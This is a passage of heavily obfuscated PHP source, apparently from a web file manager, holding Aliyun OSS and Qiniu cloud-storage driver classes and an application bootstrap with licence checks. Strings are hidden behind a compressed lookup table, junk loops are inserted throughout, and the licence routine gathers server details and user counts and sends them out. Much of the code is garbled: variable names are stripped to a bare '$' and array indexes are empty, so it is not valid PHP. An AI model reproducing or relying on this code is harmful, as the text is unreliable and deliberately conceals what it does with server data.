$this->fileOutLink($פ); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function fileOutLink($ǗΆ) { $穖 =& $_SERVER[]; if (!$this->isCdnHost() && substr($ǗΆ, 0, 7) == $穖[1333]) { $ǗΆ = $穖[1334] . substr($ǗΆ, 7); } header($穖[161] . $ǗΆ); die; } public function hashMd5($˸, $ٗ = '') { $݉ =& $_SERVER[]; $Ջ = $this->_objectMeta($˸); if (!$Ջ) { return $݉[12]; } if (!isset($Ջ[$݉[1407]]) && !empty($ٗ)) { $ = $this->updateObjMeta($˸, array($݉[1407] => $ٗ)); $Ջ[$݉[1407]] = $ ? $ٗ : $݉[12]; } return isset($Ջ[$݉[1407]]) ? strtolower($Ջ[$݉[1407]]) : $݉[12]; } public function size($) { $楨 = $this->objectMeta($); return $楨 ? $楨[$_SERVER[][76]] : 0; } public function info($蔫) { if ($this->isFolder($蔫)) { return $this->folderInfo($蔫); } else { if ($this->isFile($蔫)) { return $this->fileInfo($蔫); } } return !1; } public function exist($Ρ) { return $this->isFile($Ρ) || $this->isFolder($Ρ); } public function isFile($Ţ) { return !$this->isFolder($Ţ) && $this->objectMeta($Ţ); } public function isFolder($Ԇ) { return $this->cacheMethod($_SERVER[][165], $Ԇ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($ֈ) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ֈ)); } catch (OSS\Core\OssException $ݞ) { $ = !1; } if ($) { $[$[76]] = intval($[$[1405]]); } return $; } protected function _isFolder($ݱ) { $ =& $_SERVER[]; if ($ݱ == $[12] || $ݱ == $[8]) { return !0; } $ = array($[1401] => $[8], $[1402] => rtrim($ݱ, $[8]) . $[8], $[1403] => 1, $[1404] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($ݍ) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1433]; $this->_init($ݍ); } public function _init($ߋ) { $ =& $_SERVER[]; $this->config = $ߋ; foreach ($ߋ as $ => $ÿ) { if (isset($this->{$})) { $this->{$} = $ÿ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1434] . LNG($[1392])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $ = '', $ɐ֥ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($ܚ, $ğ = REPEAT_SKIP) { $ʛ =& $_SERVER[]; $¶ = trim($ܚ, $ʛ[8]); if ($this->_isFolder($¶)) { return $this->getPathOuter($¶); } $ܚ = $¶ . $ʛ[8]; $ɮ = get_path_this($¶); $ѿ = $ܚ . $ɮ; if (!$this->mkfile($ѿ)) { return !1; } if (!$this->moveFile($ѿ, $ܚ)) { $this->delFile($ѿ); return !1; } return $this->getPathOuter($¶); } public function copyFile($, $) { $Ǜ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $Ǜ ? !1 : $this->getPathOuter($); } public function moveFile($Ԥđ, $ऱ) { $ = $this->bucketManager->move($this->bucket, $Ԥđ, $this->bucket, $ऱ, !0); return $ ? !1 : $this->getPathOuter($ऱ); } public function delFile($֞) { if (!$this->exist($֞)) { return !0; } $ےڟ = $this->bucketManager->delete($this->bucket, $֞); return $ےڟ ? !1 : !0; } public function delFolder($Ψ) { $ =& $_SERVER[]; if (!$this->exist($Ψ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($Ψ); $this->listItemCache = !0; $ = trim($Ψ, $[8]) . $[8]; if (!empty($Ψ) && $Ψ !== $[198] && !in_array($, $[$[82]])) { $[$[82]][] = $; } $苤 = $this->delByBatch($[$[83]]); if (!$苤) { return !1; } $苤 = $this->delByBatch($[$[82]]); if (!$苤) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $ˮ) { $ߎ = $this->bucketManager->buildBatchDelete($this->bucket, $ˮ); list($᪒, $) = $this->bucketManager->batch($ߎ); if ($) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $͑ = false, $ڃ = array()) { $݊ =& $_SERVER[]; $Ė = array($݊[32] => $this->pathThis($), $݊[84] => $this->getPathOuter($݊[8] . $), $݊[33] => $݊[200], $݊[76] => isset($ڃ[$݊[1435]]) ? $ڃ[$݊[1435]] : 0, $݊[174] => $this->ext($)); if ($͑) { return $Ė; } $Ė[$݊[201]] = $Ė[$݊[85]] = 0; $Ė[$݊[202]] = $Ė[$݊[203]] = !0; if (empty($ڃ)) { $ڃ = $this->objectMeta($); if (!$ڃ) { return $Ė; } } if (isset($ڃ[$݊[1436]])) { $Ė[$݊[85]] = substr($ڃ[$݊[1436]] . $݊[12], 0, 10); } if (isset($ڃ[$݊[1435]])) { $Ė[$݊[76]] = $ڃ[$݊[1435]]; } return $Ė; } public function folderInfo($֑, $˓ʬ = false) { $ᘉ =& $_SERVER[]; $ = array($ᘉ[32] => $this->pathThis($֑), $ᘉ[84] => $this->getPathOuter($ᘉ[8] . $֑), $ᘉ[33] => $ᘉ[75]); if ($˓ʬ) { return $; } $[$ᘉ[201]] = $[$ᘉ[85]] = 0; $[$ᘉ[202]] = $[$ᘉ[203]] = !0; $֑ = rtrim($֑, $ᘉ[8]) . $ᘉ[8]; $ = $this->objectMeta($֑); if (isset($[$ᘉ[1436]])) { $[$ᘉ[85]] = substr($[$ᘉ[1436]] . $ᘉ[12], 0, 10); } return $; } public function listPath($̫, $ِܨ = false) { $ʎ =& $_SERVER[]; $Ā = $this->fileList($̫, $ʎ[8], !0); foreach ($Ā[$ʎ[82]] as $õ => $Ȏ) { $Ā[$ʎ[82]][$õ] = $this->folderInfo($Ȏ, $ِܨ); } foreach ($Ā[$ʎ[83]] as $õ => $Ȏ) { $Ā[$ʎ[83]][$õ] = $this->fileInfo($Ȏ[$ʎ[94]], $ِܨ, $Ȏ); } return $Ā; } public function has($, $ = false, $ = true) { $箥 =& $_SERVER[]; $ = trim($, $箥[8]); $ѡ = empty($) && $ !== $箥[198] ? $箥[12] : $ . $箥[8]; $ = $箥[12]; $稳 = 500; $ىǫ = $箥[8]; $ = $ = 0; while (!0) { check_abort(); list($И, $ג֎) = $this->bucketManager->listFiles($this->bucket, $ѡ, $, $稳, $ىǫ); if ($ג֎) { break; } $ = array_key_exists($箥[1404], $И) ? $ = $И[$箥[1437]] : $箥[12]; if ($) { if (!empty($И[$箥[1438]])) { $ += count($И[$箥[1438]]); } if (!empty($И[$箥[1439]])) { $ += count($И[$箥[1439]]); } if ($ === $箥[12]) { break; } continue; } if ($) { if (!empty($И[$箥[1438]])) { return !0; } } else { if (!empty($И[$箥[1439]])) { return !0; } } if ($ === $箥[12]) { break; } } if ($) { return array($箥[207] => $, $箥[208] => $); } return !1; } public function listAll($) { $Ƽ =& $_SERVER[]; $ň = $this->fileList($, $Ƽ[12], !0); $Ñ = array_to_keyvalue($ň[$Ƽ[83]], $Ƽ[32]); foreach ($ň[$Ƽ[82]] as $ы) { if (is_string($ы)) { $Ñ[$ы] = array($Ƽ[76] => 0); } } return $this->listAllFiles($, $Ñ); } private function fileList($, $ϗé = '', $ǝ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $̾ = empty($) && $ !== $[198] ? $[12] : $ . $[8]; $ = $[12]; $ʘ = 1000; $ְ = $ = array(); while (!0) { check_abort(); list($½, $ʣ) = $this->bucketManager->listFiles($this->bucket, $̾, $, $ʘ, $ϗé); if ($ʣ) { break; } $ = array_key_exists($[1404], $½) ? $ = $½[$[1437]] : $[12]; $ũ = isset($½[$[1438]]) ? $½[$[1438]] : array(); $Ǹ = isset($½[$[1439]]) ? $½[$[1439]] : array(); foreach ($ũ as $) { if ($[$[94]] == $̾) { continue; } $ = $[$[94]]; $ޖ = $[$[1435]]; $[$[76]] = $ޖ; $ے = $ޖ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $ے, $); if ($ے) { $ְ[] = $; continue; } $[] = $ǝ ? $ : $; } foreach ($Ǹ as $) { if ($ == $̾) { continue; } $ְ[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[82] => $ְ, $[83] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($䩫) { return $this->exist($䩫) ? !0 : !1; } public function getContent($ܼ) { return $this->fileSubstr($ܼ, 0, -1); } public function setContent($à, $ = '') { $ = $this->tempFile($this->pathThis($à)); file_put_contents($, $); if ($this->upload($à, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($˜) { $ =& $_SERVER[]; $ = array(); if (is_array($˜)) { foreach ($˜ as $ۓ) { $[] = $this->link($ۓ); } } else { $[] = $this->link($˜); } $Ѷݪ = new Qiniu\Cdn\CdnManager($this->auth); list($ذ, $) = $Ѷݪ->refreshUrls($); if ($) { return !1; } return $ذ[$[1178]] == $[756] ? !0 : !1; } public function fileSubstr($, $, $ϓ) { $Ҙ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ϓ > 0) { $ʌ = $ + $ϓ - 1; $ = array($Ҙ[1440] . $ . $Ҙ[386] . $ʌ); } $åΐ = url_request($, $Ҙ[230], !1, $); return $åΐ[$Ҙ[746]] ? $åΐ[$Ҙ[1198]] : !1; } public function upload($䱞, $埤, $ = false, $ϴ = REPEAT_REPLACE) { $ߞ = new Qiniu\Storage\UploadManager(); $Ҿ = $this->auth->uploadToken($this->bucket, $䱞); $Ӗ̼ = get_file_mime(get_path_ext($埤)); list($, $ᕯ) = $ߞ->putFile($Ҿ, $䱞, $埤, null, $Ӗ̼); return $ᕯ ? !1 : $this->getPathOuter($䱞); } public function uploadFormData($ڀ, $֡ڙ = 3600) { return $this->uploadToken($ڀ, $֡ڙ); } public function multiUploadFormData($י, $ = 3600) { return $this->uploadToken($י, $); } private function uploadToken($ݯ, $ = 3600) { $ȍ =& $_SERVER[]; $ = $; $ = array($ȍ[1441] => $ȍ[1442]); $❩ = $ݯ; $́ = $this->auth->uploadToken($this->bucket, $❩, $, $, !0); $ӂ = empty($this->region) || $this->region == $ȍ[1443] ? $ȍ[12] : $ȍ[386] . $this->region; $ = http_type() . "\72\x2f\x2f\165\x70\x6c\157\x61\x64{$ӂ}\x2e\161\x69\x6e\151\165\x70\x2e\x63\157\155\x2f"; return array($ȍ[1444] => $́, $ȍ[1445] => $); } public function download($, $ݒ) { $ = IO::getPathInner(IO::mkfile($ݒ)); if (!($엃 = $this->link($))) { return !1; } $ = 0; $ڴ = 1024 * 200; $Գ = fopen($, $_SERVER[][1446]); while (!0) { $ = $this->fileSubstr($, $, $ڴ); if ($ === !1) { return !1; } fwrite($Գ, $); $ += $ڴ; if (strlen($) < $ڴ) { break; } } fclose($Գ); return $ݒ; } public function link($׃LJ, $뇧 = '') { if (!$this->isFile($׃LJ)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($׃LJ) . $뇧; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ӏ = false, $ﶧ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $ӏ, $ﶧ); } if (!$ӏ) { $ӏ = $this->pathThis($); } $ֳ = $ ? $[1447] . rawurlencode($ӏ) : $[12]; $Ғ = $this->link($, $ֳ); $this->fileOutLink($Ғ); } public function fileOutServer($ܣ, $ң = false, $Ƙ剾 = false, $ڲ = '') { parent::fileOut($ܣ, $ң, $Ƙ剾, $ڲ); } public function fileOutImage($٥, $ = 250) { $Ş = $this->link($٥, $_SERVER[][1448] . $); $this->fileOutLink($Ş); } public function fileOutImageServer($, $Ҏ = 250) { parent::fileOutImage($, $Ҏ); } public function hashMd5($Გ) { $נ =& $_SERVER[]; $ə = $this->objectMeta($Გ); return isset($ə[$נ[212]]) ? $ə[$נ[212]] : !1; $̿ = $this->link($Გ, $נ[1449]); } public function size($) { $ñ = $this->objectMeta($); return $ñ ? $ñ[$_SERVER[][76]] : 0; } public function info($ٽ) { if ($this->isFolder($ٽ)) { return $this->folderInfo($ٽ); } else { if ($this->isFile($ٽ)) { return $this->fileInfo($ٽ); } } return !1; } public function exist($ʧ) { return $this->isFile($ʧ) || $this->isFolder($ʧ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][165], $); } protected function objectMeta($ڍ) { return $this->cacheMethod($_SERVER[][167], $ڍ); } protected function _objectMeta($ۘ) { $ =& $_SERVER[]; list($Δк, $´) = $this->bucketManager->stat($this->bucket, $ۘ); if ($Δк) { $Δк[$[76]] = intval($Δк[$[1435]]); } return $Δк; } protected function _isFolder($) { $멭ش =& $_SERVER[]; if ($ == $멭ش[12] || $ == $멭ش[8]) { return !0; } list($, $̬) = $this->bucketManager->listFiles($this->bucket, trim($, $멭ش[8]) . $멭ش[8], $멭ش[12], 1, $멭ش[8]); return !empty($[$멭ش[1438]]) || !empty($[$멭ش[1439]]) ? !0 : !1; } } goto cβ; C͑ɶ: define($_SERVER[][604], $_SERVER[][605]); $qdpncvohij = $_SERVER[][606]; while ($qdpncvohij < $_SERVER[][607]) { if ($qdpncvohij >= 0) { break; } $qdpncvohij++; } goto A߇; A߇: $_SERVER[] = explode($_SERVER[][608], gzinflate(substr($_SERVER[][609], 10, -8))); $xgctunizwb = $_SERVER[][610]; class Application { private $defaultModule = "\151\156\x64\x65\170"; private $defaultController = "\151\x6e\x64\145\x78"; private $defaultAction = "\151\x6e\144\145\170"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $· =& $_SERVER[]; $˫ = explode($·[0], trim($, $·[0])); $ = $[611]; if (!$) { die; } $this->defaultModule = $˫[0] ? $˫[0] : $this->defaultModule; $this->defaultController = $˫[1] ? $˫[1] : $this->defaultController; $this->defaultAction = $˫[2] ? $˫[2] : $this->defaultAction; $ = $[612]; if (!$) { return; } $this->pdgzc6fe193e($·[1], array($this, $·[2])); } public function appRun($) { $߅ =& $_SERVER[]; $ =& $_SERVER[]; $㰑 = explode($[0], $); $ = strtolower($㰑[0]); $ = $[3]; if ($ == $[4]) { $ = $[5]; $㰑[0] = $[6]; $㰑[1] = $㰑[1] . $[7]; $ = join($[0], $㰑); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); call_user_func(array($[8], $[9]), $ . $[11], $); $ǝ = $߅[613]; while ($ǝ < $߅[614]) { if ($ǝ >= 0) { break; } $ǝ++; } } private function autorun() { $Ĉ =& $_SERVER[]; global $config; if (count($config[$Ĉ[12]]) == 0) { return; } foreach ($config[$Ĉ[12]] as $ => $) { $this->appRun($); } } private function klhj27b2b152() { $ո =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $ո[615]; $İ = $GLOBALS[$[13]][$[14]][0]; if (!$İ || strlen($İ) <= strlen($)) { return; } if (strtolower(substr($İ, -strlen($))) != $) { return; } $ = substr($İ, 0, -strlen($)); $͉ڶ = array($[4], $); $≉ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $ո[616]; while ($ < $ո[617]) { if ($ >= 0) { break; } $++; } $GLOBALS[$[13]][$[14]] = array_merge($͉ڶ, $≉); $촙 = $ո[618]; $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $㣎 = $ո[619]; if (strlen($㣎) < $ո[617]) { die; } } private function aseb5e3b7700() { $Ъ =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $Į݄ = $_SERVER[$[16]]; $͛ = $Ъ[620]; while ($͛ < $Ъ[617]) { if ($͛ >= 0) { break; } $͛++; } $ϋ = $[17]; if (!strstr($Į݄, $ϋ)) { return; } $ = strrpos($Į݄, $ϋ); $ = $Ъ[621]; if (!$) { die; } $ = substr($Į݄, $ + strlen($ϋ)); preg_match_all($[18], $, $Ĥ); $ = trim($Ĥ[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $); $ɔ = $Ъ[622]; if (!$ɔ) { die; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $ݞ =& $_SERVER[]; $this->aseb5e3b7700(); $this->klhj27b2b152(); $ = $[623]; while (strlen($) < $[624]) { if (!$) { break; } $++; } $ = $GLOBALS[$ݞ[13]][$ݞ[14]]; $ = $[625]; if (!$) { return; } $莡 = $GLOBALS[$ݞ[13]][$ݞ[15]]; $ = $[626]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } define($ݞ[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($ݞ[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($ݞ[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($ݞ[23], MOD . $ݞ[0] . ST . $ݞ[0] . ACT); $_SERVER[$ݞ[24]] = strtolower(ACTION); $ = $[627]; $this->autorun(); if (count($) >= 3) { $this->appRun($莡); } else { $this->appRun(ACTION); } } private $idou357f796e = array(); private $xrgp672fde7b = ''; public function lfgm63f061c4() { $ =& $_SERVER[]; $֔ǫ =& $_SERVER[]; $this->jkay216ad9ac(); $ = $[626]; while ($ < $[628]) { if ($ >= 0) { break; } $++; } $this->ctedaca5c5d0(); $this->aoej8c0ec12f(); $this->nirm89e73890(); $ = $[629]; $this->nhzp4cfcc5cc(); $this->cnsbe6e5ff62(); $瓖 = $[630]; if (strlen($瓖) < $[617]) { die; } $this->htrga442d9b4(); $ = $[631]; while ($ < $[607]) { if ($ >= 0) { break; } $++; } $this->pdgzc6fe193e($֔ǫ[25], array($this, $֔ǫ[26])); $this->pdgzc6fe193e($֔ǫ[27], array($this, $֔ǫ[28])); $this->pdgzc6fe193e($֔ǫ[29], array($this, $֔ǫ[30])); $this->pdgzc6fe193e($֔ǫ[31], array($this, $֔ǫ[32])); } public function qfdbb4079ff7($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $舧 = Model($[33])->get(); $ = $[632]; while ($ < $[607]) { if ($ >= 0) { break; } $++; } $뫟 = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $ = $[633]; if (strlen($) < $[617]) { return; } foreach ($뫟 as $) { $ = $GLOBALS[$[85]][$[86]][$]; if (isset($舧[$])) { $ = $舧[$]; } $[$[87]][$[88]][$] = $; } $˟ = $[$[87]][$[88]][$[46]]; unset($[$[87]][$[89]][$[90]]); $ = $[634]; unset($[$[87]][$[89]][$[91]]); $ = $[635]; unset($[$[87]][$[88]][$[46]]); unset($[$[87]][$[88]][$[92]]); $[$[87]][$[88]][$[93]] = array($[94] => (int) $˟[$[95]], $[96] => (int) _get($˟, $[97], 0)); $[$[98]][$[99]] = Action($[100])->accessToken(); $ܜ = $[636]; if (!$ܜ) { die; } $[$[98]][$[101]] = md5($_SERVER[$[102]] . $舧[$[103]]); $ٿښ = $[637]; $[$[98]][$[104]] = base64_encode(serverInfo()); $߽ = $[638]; while ($߽ < $[628]) { if ($߽ >= 0) { break; } $߽++; } $[$[98]][$[105]] = $this->xrgp672fde7b; $Շʄ = $[639]; if ($舧[$[105]] != $[106]) { $[$[98]][$[107]] = $舧[$[107]]; $[$[98]][$[108]] = $舧[$[108]]; $ = rand_string(10) . $this->xrgp672fde7b . rand_string(5); $[$[87]][$[109]][$[110]] = $this->fqbrffbc0e2b($, $[$[98]][$[101]]); } if ($this->xrgp672fde7b == $[106]) { $[$[87]][$[88]][$[93]][$[97]] = 0; } $[$[98]][$[111]] = _get($this->idou357f796e, $[112], $[6]); $[$[98]][$[113]] = _get($this->idou357f796e, $[114], $[6]); if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $[$[98]][$[117]] = WEB_ROOT; } return $; } private function cnsbe6e5ff62() { $ŵ =& $_SERVER[]; $۫ =& $_SERVER[]; $ = $_SERVER[$۫[24]] == $۫[118]; $纞 = $ŵ[640]; while ($纞 < $ŵ[614]) { if ($纞 >= 0) { break; } $纞++; } if ($_SERVER[$۫[24]] == $۫[119] && $_GET[$۫[120]] == $۫[121]) { $ = !0; } if ($) { $Й = array($۫[105] => $this->xrgp672fde7b, $۫[122] => $this->jgpl087917ca(), $۫[123] => Model($۫[124])->count()); if ($this->xrgp672fde7b != $۫[106]) { $Ǣ = _get($this->idou357f796e, $۫[125]); if ($Ǣ) { $Й[$۫[126]] = $Ǣ; $Й[$۫[127]] = strtotime(_get($this->idou357f796e, $۫[128])); $Й[$۫[129]] = _get($this->idou357f796e, $۫[114]); } $ = Model($۫[33])->get($۫[130], $۫[6], !0); if (is_string($) && substr($, 0, 1) == $۫[131]) { $ = json_decode_force($); } if (is_array($) && $[$۫[132]] && strstr($[$۫[132]], $۫[133])) { $ʫ = explode($۫[133], $[$۫[132]]); $Й[$۫[134]] = $ʫ[0]; } } $Й = $this->joig8aa7e5f1(json_encode($Й), md5($۫[135])); $· = $ŵ[641]; if (!$·) { die; } $ = array($۫[136] => $Й); $ = $ŵ[642]; call_user_func(array($۫[137], $۫[138]), $); $凄 = $ŵ[643]; if (strlen($凄) < $ŵ[607]) { die; } } if ($this->xrgp672fde7b == $۫[106]) { return; } $ǖ = array($۫[139], $۫[140], $۫[141], $۫[142], $۫[143], $۫[144]); $ = $ŵ[644]; if (strlen($) < $ŵ[614]) { die; } $ = Model($۫[33])->get(); $ = array($۫[145] => $[$۫[34]], $۫[146] => $[$۫[35]], $۫[147] => $۫[6]); foreach ($ǖ as $梃) { if (!isset($[$梃]) || !$[$梃]) { continue; } $[$梃] = $[$梃]; $ڷ = $ŵ[645]; if (!$ڷ) { die; } } call_user_func(array($۫[137], $۫[138]), $); $Ȯ = $ŵ[646]; if (!$Ȯ) { return; } } private function nirm89e73890() { $С =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[148]) { return; } if (!_get($GLOBALS, $[115])) { die; } $ړ = $GLOBALS[$[13]]; if (isset($ړ[$[149]])) { $this->iodg9237f593(); die; } if (!isset($ړ[$[150]]) || strlen($ړ[$[150]]) != 16) { show_json($[151] . $ړ[$[150]], !1); } $䘎 = Model($[33])->get($[103]); $Ռ = md5($_SERVER[$[102]] . $䘎); $ = array($[150] => $ړ[$[150]], $[152] => rand_string(16), $[153] => $[135], $[154] => $[155], $[156] => $_SERVER[$[157]], $[158] => $_SERVER[$[159]], $[160] => $_SERVER[$[161]], $[101] => $Ռ, $[162] => Model($[33])->get($[130])); $ = $С[647]; if (strlen($) < $С[628]) { die; } if ($ړ[$[163]] == $[164]) { $ = $this->joig8aa7e5f1($Ռ, $[165]); $ = $this->fqbrffbc0e2b(json_encode($), $Ռ . $[166], 3); $ = $ . $[167] . $_SERVER[$[157]]; $ = $this->whtx0b7ce336($[168] . $ . $[169] . $, -1); show_json($, !0); } else { if ($ړ[$[163]] == $[170]) { $ = substr(md5($[171] . $Ռ), 12, 15) . $[172]; $ = $this->kqgw4ac493ae(trim($ړ[$[173]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ = $[175]; $ɍۃ = $[$[174]] ? $[176] . $[$[174]] : $; show_json($ɍۃ, !1); } else { $[$[152]] = $[$[174]][$[177]]; } } else { $ = $this->whtx0b7ce336($[178], $, 10); } } if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ = LNG($[179]); $ɍۃ = $[$[174]] ? $[176] . $[$[174]] : $; show_json($ɍۃ, !1); } $ڸ = $[$[174]]; $ΰ = $this->vusa75077c36($ڸ[$[180]]); $ = $С[648]; if (!$ΰ || $ΰ != $ڸ[$[128]]) { $ܶ = array($[181] => Model($[33])->get($[103]), $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ = $this->vimdc84c1307(json_encode($ܶ)); $this->whtx0b7ce336($[184] . $); show_json(LNG($[185]), !0); } $ሢ = array($[186] => $ڸ[$[187]], $[188] => $ڸ[$[189]], $[190] => rand_string(16), $[105] => $ڸ[$[191]]); if ($[$[152]]) { $ሢ[$[190]] = $[$[152]]; } $㨴 = substr(md5($ሢ[$[188]]), 10, 10); $ɐ = $㨴 . $ሢ[$[105]] . $ሢ[$[190]]; $ሢ[$[107]] = strrev(base64_encode($this->joig8aa7e5f1($ɐ, $[192]))); $ø = $С[649]; while (strlen($ø) < $С[607]) { if (!$ø) { break; } $ø++; } $۵ = rand_string(16); $斅 = $۵ . $ሢ[$[105]] . $this->joig8aa7e5f1(md5($ሢ[$[186]]), $۵); $ሢ[$[108]] = base64_encode(strrev($this->joig8aa7e5f1($斅, $[193]))); $ = $С[650]; if (strlen($) < $С[614]) { die; } if ($ڸ[$[194]] && $ڸ[$[194]] >= 1) { Model($[33])->setDeep($[195], $[121]); } Model($[33])->set($ሢ); $Ľ = md5($_SERVER[$[102]] . strrev($䘎) . $ሢ[$[188]]); $Қ = strrev(substr($Ľ, 10, 16)); $ = $С[651]; while (strlen($) < $С[628]) { if (!$) { break; } $++; } $ = $this->fqbrffbc0e2b(json_encode($ڸ), $Ľ); $ = array_to_keyvalue(Model($[7])->listData(), $[196]); $ڔ = $С[652]; if (!$ڔ) { die; } $Ǜ = $[$[197]]; $ޗ = $С[653]; while (strlen($ޗ) < $С[617]) { if (!$ޗ) { break; } $ޗ++; } $ = array(); $並 = $С[654]; $[$Қ] = $; Model($[7])->update($Ǜ[$[198]], array($[199] => $)); $հ = $С[655]; if (strlen($հ) < $С[624]) { return; } $this->idou357f796e = $ڸ; $this->xrgp672fde7b = $ሢ[$[105]]; $먂 = $С[656]; if (strlen($먂) < $С[607]) { die; } $this->licenseRegistSuccess(); Cache::set($[200] . md5($䘎 . $[201]), $[6]); show_json(LNG($[185]), !0); $ͩ = $С[657]; if (!$ͩ) { return; } } private function licenseRegistSuccess() { $ɵ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $Ӊ = $ɵ[658]; while (strlen($Ӊ) < $ɵ[617]) { if (!$Ӊ) { break; } $Ӊ++; } if ($[$[63]] != $[121]) { Model($[33])->set($[63], $[121]); } Action($[202])->initStart(!0); } private function iodg9237f593() { $ =& $_SERVER[]; $ҳ =& $_SERVER[]; Model($ҳ[33])->set(array($ҳ[186] => $ҳ[6], $ҳ[188] => $ҳ[6], $ҳ[105] => $ҳ[106], $ҳ[107] => $ҳ[6], $ҳ[108] => $ҳ[6])); $ͣ = $[659]; Model($ҳ[33])->setDeep($ҳ[195], $ҳ[203]); $this->idou357f796e = array(); $this->xrgp672fde7b = $ҳ[106]; $ۃߊ = $[660]; } private function jkay216ad9ac() { $ =& $_SERVER[]; $ϻ =& $_SERVER[]; $_SERVER[$ϻ[159]] = _get($_SERVER, $ϻ[159], APP_HOST); $this->xrgp672fde7b = $ϻ[106]; $ = Model($ϻ[33])->get(); if ($[$ϻ[105]] == $ϻ[106]) { return; } $䃩 = Model($ϻ[33])->get($ϻ[103]); $ٹ = $ϻ[200] . md5($䃩 . $ϻ[201]); $Ѥ = $[661]; if (strlen($Ѥ) < $[617]) { die; } $ʱ = Cache::get($ٹ); $芳 = $[662]; while ($芳 < $[617]) { if ($芳 >= 0) { break; } $芳++; } if (!is_array($ʱ) || !isset($ʱ[$ϻ[204]]) || time() - $ʱ[$ϻ[204]] >= 60) { $؆ = Model($ϻ[7])->loadList(); $ = $؆[$ϻ[197]]; $ = md5($_SERVER[$ϻ[102]] . strrev($䃩) . $[$ϻ[188]]); $ = strrev(substr($, 10, 16)); $ʱ = $this->kqgw4ac493ae($[$ϻ[85]][$], $); $ʱ = json_decode($ʱ, !0); } if (!is_array($ʱ)) { return $this->iodg9237f593(); } $ᨰ = strtotime($ʱ[$ϻ[128]]); if (time() >= $ᨰ) { return $this->iodg9237f593(); } if (time() - $ʱ[$ϻ[204]] > 20) { $ʱ[$ϻ[204]] = time(); Cache::set($ٹ, $ʱ); } $this->idou357f796e = $ʱ; $this->xrgp672fde7b = $[$ϻ[105]]; } private function ctedaca5c5d0() { $ȴ =& $_SERVER[]; $륗 = $GLOBALS[$ȴ[13]]; $Ȥ = $_SERVER[$ȴ[24]]; if ($Ȥ == $ȴ[205] && $this->xrgp672fde7b == $ȴ[106]) { show_json(LNG($ȴ[206]), !1, $ȴ[207]); } $ĩŏ = array($ȴ[208], $ȴ[209]); if (in_array($Ȥ, $ĩŏ)) { if ($this->xrgp672fde7b == $ȴ[106] && isset($륗[$ȴ[210]])) { show_json(LNG($ȴ[206]), !1, $ȴ[207]); die; } $ͩ = $this->jgpl087917ca(); if ($ͩ != intval($ȴ[211])) { if ($ͩ <= Model($ȴ[124])->count()) { show_json(LNG($ȴ[212]), !1, $ȴ[207]); die; } } } } private function aoej8c0ec12f() { $ =& $_SERVER[]; $ =& $_SERVER[]; 